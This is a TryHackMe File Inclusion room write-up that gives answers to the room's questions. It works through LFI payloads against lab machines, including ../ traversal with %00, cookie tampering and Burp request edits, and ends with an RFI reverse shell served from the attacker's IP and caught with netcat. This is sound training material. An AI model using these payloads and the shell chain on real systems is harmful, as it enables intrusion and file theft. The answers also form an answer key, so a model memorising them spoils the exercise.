TryHackMe - File Inclusion

Task 3 - Path Traversal

What function causes path traversal vulnerabilities in PHP?

file_get_contents

Task 4 - Local File Inclusion - LFI

Give Lab #1 a try to read /etc/passwd. What would the request URI be?

/lab1.php?file=/etc/passwd

In Lab #2, what is the directory specified in the include function?

we can try to enter a non existent file and read the error and observe the directory is includes

Task 5 - Local File Inclusion - LFI Continued

Give Lab #3 a try to read /etc/passwd. What is the request look like?

entering ?file=../../../../etc/passwd%00 in the browser url gives the file contents

Which function is causing the directory traversal in Lab #4?

file_get_contents

Try out Lab #6 and check what is the directory that has to be in the input field?

THM-profile

Try out Lab #6 and read /etc/os-release. What is the VERSION_ID value?

1 ../ for THM-profile and 3 ../ for /var/www/html therefore, the VERSION_ID value is 12.04

Task 8 - Challenge

given url http://MACHINE_IP/challenges/index.php it has 3 challenges and last is a rce challenge on playground in the labs list

Capture Flag1 at /etc/flag1

direct access chall1.php?file=/etc/passwd doesnt work as its GET so lets try with other methods like POST now we can access the contents at /etc/flag1

Capture Flag2 at /etc/flag2

opening the challenge 2 says

Welcome Guest!  
Only admins can access this page!

we can now check cookies and request and identify how the web page identifies us as an admin or guest checking cookies we observe THM cookie with Guest value changing it to admin shows content preview of admin which is very unusual now changing admin to any file we observe this error

**Warning**: include() [[function.include](http://MACHINE_IP/challenges/function.include)]: Failed opening 'includes/admin/../../../../../etc/flag2.php' for inclusion (include_path='.:/usr/lib/php5.2/lib/php') in **/var/www/html/chall2.php** on line **37** now we can try same with %00 Cookie: TMM=admin/../../../../../etc/flag2%00

Capture Flag3 at /etc/flag3

trying /challenges/chall3.php?file=../../../../etc/passwd gives the following error now in Firefox inspector changing GET to POST and then intercepting the POST request in Burpsuite we observe the url-encoding file=..%2F..%2F..%2F..%2Fetc%2Fflag3 we can change it to ../../../../etc/flag3%00

Gain RCE in Lab #Playground /playground.php with RFI to execute the hostname command. What is the output?

for rce we can make a reverse shell for php from https://www.revshells.com/ For demonstration I will choose PHP PentestMonkey as we know the web application is running PHP starting a listner with nc -lnvp 9001 now i created the shell.php at /tmp so to upload it im starting a python http server at /tmp on port 8000 and then using my tun0 ip i can paste the following url in the playground text box http://TUN0-IP:8000/shell.php after that a successful reverse shell would be established

❯ nc -lnvp 9001
Listening on 0.0.0.0 9001
Connection received on MACHINE_IP 55808
Linux lfi-vm-thm-f8c5b1a78692 5.15.0-1064-aws #70~20.04.1-Ubuntu SMP Fri Jun 14 15:42:13 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
 09:50:45 up  2:44,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
sh: 0: can't access tty; job control turned off
$ hostname
lfi-vm-thm-f8c5b1a78692
$